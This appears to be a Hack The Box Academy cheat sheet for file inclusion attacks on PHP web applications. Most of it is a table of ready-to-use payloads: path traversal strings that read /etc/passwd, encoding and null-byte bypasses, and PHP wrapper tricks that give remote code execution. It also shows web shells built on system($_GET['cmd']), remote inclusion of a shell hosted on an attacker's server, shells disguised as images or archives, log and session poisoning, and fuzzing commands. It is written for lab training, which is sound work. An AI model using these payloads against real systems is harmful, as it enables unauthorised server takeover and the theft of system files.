HACKTHEBOX

FILE INCLUSION

CHEAT SHEET

HTB ACADEMY CHEATSHEET

Local File Inclusion

Command	Description
Basic LFI	
`/index.php?language=/etc/passwd`	Basic LFI
`/index.php?language=../../../../etc/passwd`	LFI with path traversal
`/index.php?language=/../../../etc/passwd`	LFI with name prefix
`/index.php?language=./languages/../../../../etc/passwd`	LFI with approved path
LFI Bypasses	
`/index.php?language=....//....//....//....//etc/passwd`	Bypass basic path traversal filter
`/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`	Bypass filters with URL encoding
`/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]`	Bypass appended extension with path truncation (obsolete)
`/index.php?language=../../../../etc/passwd%00`	Bypass appended extension with null byte (obsolete)
`/index.php?language=php://filter/read=convert.base64-encode/resource=config`	Read PHP with base64 filter

Remote Code Execution

Command	Description
PHP Wrappers	
`/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`	RCE with data wrapper
`curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"`	RCE with input wrapper
`curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"`	RCE with expect wrapper
RFI	
`echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>`	Host web shell
`/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`	Include remote PHP web shell
LFI + Upload	
`echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`	Create malicious image
`/index.php?language=./profile_images/shell.gif&cmd=id`	RCE with malicious uploaded image
`echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`	Create malicious zip archive 'as jpg'

Command	Description
`/index.php?language=zip://shell.zip%23shell.php&cmd=id`	RCE with malicious uploaded zip
`php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`	Create malicious phar 'as jpg'
`/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`	RCE with malicious uploaded phar
Log Poisoning	
`/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`	Read PHP session parameters
`/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`	Poison PHP session with web shell
`/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`	RCE through poisoned PHP session
`curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'`	Poison server log
`/index.php?language=/var/log/apache2/access.log&cmd=id`	RCE through poisoned PHP session

Misc

Command	Description
`ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287`	Fuzz page parameters
`ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287`	Fuzz LFI payloads
`ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287`	Fuzz webroot path
`ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287`	Fuzz server configurations
LFI Wordlists	
LFI-Jhaddix.txt	
Webroot path wordlist for Linux	
Webroot path wordlist for Windows	
Server configurations wordlist for Linux	
Server configurations wordlist for Windows	

File Inclusion Functions

Function	Read Content	Execute	Remote URL
PHP			
`include()`/`include_once()`	Yes	Yes	Yes
`require()`/`require_once()`	Yes	Yes	No
`file_get_contents()`	Yes	No	Yes
`fopen()`/`file()`	Yes	No	No

Function	Read Content	Execute	Remote URL
NodeJS			
`fs.readFile()`	Yes	No	No
`fs.sendFile()`	Yes	No	No
`res.render()`	Yes	Yes	No
Java			
`include`	Yes	No	No
`import`	Yes	Yes	Yes
.NET			
`@Html.Partial()`	Yes	No	No
`@Html.RemotePartial()`	Yes	No	Yes
`Response.WriteFile()`	Yes	No	No
`include`	Yes	Yes	Yes